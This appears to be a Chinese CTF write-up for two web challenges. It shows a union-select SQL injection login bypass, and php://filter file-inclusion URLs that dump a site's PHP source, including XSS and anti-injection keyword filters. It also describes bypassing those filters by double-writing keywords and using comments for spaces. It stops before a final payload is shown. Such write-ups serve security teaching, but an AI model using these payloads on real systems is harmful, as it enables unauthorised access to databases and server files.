SQL注入2
打开source查看源代码
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);//密码经过md5加密
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {//strcasecmp比较两个字符串,不分大小写
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
$ query是存储SQL命令集的数组,$ query[pw]是其中一条数据
有!所以$pass, $query[pw]两个变量在比较下要返回0,即 $pass,比 $query[pw],两者相等
注入点 $query = @mysql_fetch_array(mysql_query(“select pw from ctf where user=’ $user’”));的 $user
select pw from ctf where user=‘union select md5(1)’#’ //#用来注释后面的闭合
select从数据库选数据,pw是cyf表中的一列,where提取满足user= $user的pw数据,union用于合并两个或多个结果集,
所以 $user 为md5(1)的结果是where要提取的,如果这个结果存在,则能提取出来, $query[pw]存在,当 $pass 也为md5(1)的时候strcasecmp( $pass, $query[pw]=0),所以if (( $query[pw]) && (!strcasecmp( $pass, $query[pw])))这个条件满足
不仅仅是md5(1)可以试其他
综合题2
打开是一个网页,搜索留言:flag
需要修改为正确的USER-AGENT
尝试留言,提示看源代码,但是感觉没什么异常。
最后点击本CMS说明,是有用信息
”很明显,这是安装后留下来忘删除的文件。。。 至于链接会出现在主页上,这就要问管理员了。。。 ===华丽的分割线= 本CMS由Funny公司开发的公司留言板系统,据本技术总监说,此CMS采用国际 顶级的技术所开发,安全性和实用性杠杠滴~ 以下是本CMS各文件的功能说明(由于程序猿偷懒,只列了部分文件) config.php:存放数据库信息,移植此CMS时要修改 index.php:主页文件 passencode.php:Funny公司自写密码加密算法库 say.php:用于接收和处理用户留言请求 sm.txt:本CMS的说明文档 sae的information_schema表好像没法检索,我在这里给出admin表结构 create table admin ( id integer, username text, userpass text, ) ======================================================================== 下面是正经的:本渗透测试平台由:三只小潴(root#zcnhonker.net)& 冷爱(hh250@qq.com)开 发.由你们周老大我辛苦修改,不能题目都被AK嘛,你们说是不是。所以这一题。。你们做出来也算你们吊咯“
config.php:存放数据库信息,移植此CMS时要修改
index.php:主页文件
passencode.php:Funny公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本CMS的说明文档
sae的information_schema表
admin表结构 create table admin ( id integer, username text, userpass text, )
另外
about.php:包含sm.txt的php文件
so.php:搜索留言时发现的php文件
这里有可能是注入
又看到
这里应该也是文件包含,可以使用php伪协议读取文件
1.包含文件
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=index.php
<?php
if(!isset($_COOKIE['username'])){
setcookie('username','');
setcookie('userpass','');
}
?>
<?php
//这里输出用户留言
include 'antixss.php';//包含了这两个文件
include 'config.php';
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$page=$_GET['page'];
if($page=="" || $page==0){
$page='1';
}
$page=intval($page);
$start=($page-1)*7;
$last=$page*7;
$result=mysql_query("SELECT * FROM `message` WHERE display=1 ORDER BY id LIMIT $start,$last");
if(mysql_num_rows($result)>0){
while($rs=mysql_fetch_array($result)){
echo htmlspecialchars($rs['nice'],ENT_QUOTES).":<br />";
echo ' '.antixss($rs['say']).'<br /><hr />';
}
}
mysql_free_result($result);
?>
<center>
<p><a href="index.php">首页</a>
<?php
$contents=mysql_query("SELECT * FROM `message` WHERE display=1");
if(mysql_num_rows($contents)>0){
$num=mysql_num_rows($contents);
if($num%8!=0){
$pagenum=intval($num/8)+1;
}else{
$pagenum=intval($num/8);
}
for($i=1;$i<=$pagenum;$i++){
echo '<a href="index.php?page='.htmlspecialchars($i).'">'.htmlspecialchars($i).'</a> ';
}
}
mysql_free_result($contents);
mysql_close($con);
?>
<a href="index.php?page=<?php echo htmlspecialchars($pagenum);?>">尾页</a>
</p>
<form method="post" action="./so.php">
留言搜索(输入ID):
<input name="soid" type="text" id="soid" />
<input type="submit" value="搜索"/>
</form>
</center>
</div>
<hr />
<div id="say" name="say" align="left" style="width:1024px">
<h2>留言:</h2>
<form method="post" action="./preview.php">
<span class="STYLE1">昵称:</span>
<input name="nice" type="text" id="nice"
<?php
//这里是获取昵称的cookie再显示 value=""
$username=$_COOKIE['username'];
$username=htmlspecialchars($username,ENT_QUOTES);
echo ' value="'.$username.'" ';
?> />
</label>
<p class="STYLE1">内容:<br />
<textarea style="width:800px;height:100px" name="usersay" id="usersay"></textarea>
<label>
<br />
<input onclick="return checkform()" type="submit" name="Submit" style="width:600px;height:50px" value="预览" />
</label>
<br />
(可用[a]网址[/a]代替<a href="网址" >网址</a>) </p>
</form>
</div>
<div>
<h4><a href="./about.php?file=sm.txt">本CMS说明</a></h4>
</div>
<div align="center">
鸣谢·红客联盟(HUC)官网<br />
</div>
</center>
<script>
function checkform(){
if(say.nice.value=="" || say.usersay.value==""){
alert("昵称或留言内容不能为空");
return false;
}else{
return true;
}
</script>
</body>
</html>
2.应该是预防xss攻击的码
下面是index.php包含的antixss.php
<?php
function antixss($content){
preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url);
$key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜,很懒,所以。。。(过滤规则来自Mramydnei)
$re=$url[2];
if(count($url)==0){
return htmlspecialchars($content);
}else{
for($i=0;$i<=count($key);$i++){
$re=str_replace($key[$i], '_',$re);
}
return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
}
}
?>
3.将输入密码变为ASCII码存储
以下
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=passencode.php
<?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>
4.大概处理留言内容
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=say.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
include 'config.php';
$nice=$_POST['nice'];
$say=$_POST['usersay'];
if(!isset($_COOKIE['username'])){
setcookie('username',$nice);
setcookie('userpass','');
}
$username=$_COOKIE['username'];
$userpass=$_COOKIE['userpass'];
if($nice=="" || $say==""){
echo "<script>alert('昵称或留言内容不能为空!(如果有内容也弹出此框,不是网站问题喔~ 好吧,给个提示:查看页面源码有惊喜!)');</script>";
exit();
}
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$nice=mysql_real_escape_string($nice);
$username=mysql_real_escape_string($username);
$userpass=mysql_real_escape_string($userpass);
$result=mysql_query("SELECT username FROM admin where username='$nice'",$con);
$login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con);
if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){
echo "<script>alert('昵称已被使用,请更换!');</script>";
mysql_free_result($login);
mysql_free_result($result);
mysql_close($con);
exit();
}
mysql_free_result($login);
mysql_free_result($result);
$say=mysql_real_escape_string($say);
mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con);
mysql_close($con);
echo '<script>alert("构建和谐社会,留言需要经过管理员审核才可以显示!");window.location = "./index.php"</script>';
?>
5.发现敏感目录loginxlcteam
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=about.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){//不能获得config.php的原因strchr() 函数搜索文件在敏感目录中的第一次出现。区分大小写
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");//strchr() 函数搜索文件在敏感目录中的第一次出现。区分大小写
if($cut==false){//此文件没有出现在敏感目录
$data=file_get_contents($file);
$date=htmlspecialchars($data);//htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。默认。仅编码双引号。
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}
6.包含文件
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=so.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>
<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){//user_agent出现了
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>
7.`so.php包含的antiinject.php是一个防注入文件
<?php function antiinject($ content){ $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); $info=strtolower( $content); for( $i=0; $i<=count( $keyword); $i++){ $ info=str_replace( $ keyword[ $i], '', $info); } return $info; } ?>查看过文件源代码后
尝试访问敏感目录
http://cms.nuptzj.cn/loginxlcteam/
看到上面文件存在防止sql注入的,双写绕过,空格用注释或括号绕过
源码
admin表结构 create table admin ( id integer, username text, userpass text, )
$ id=$_POST[‘soid’];
$result=mysql_query(“SELECT * FROM message
WHERE display=1 AND id= $id”);
$id没有双引号括着
由so.php得首先要先修改user_agent为Xlcteam Browser,才能进行注入,可以抓包修改
我用火狐修改,修改方式如下https://www.cnblogs.com/oceanking/p/4321304.html
我不知道是不是真的没了**😦**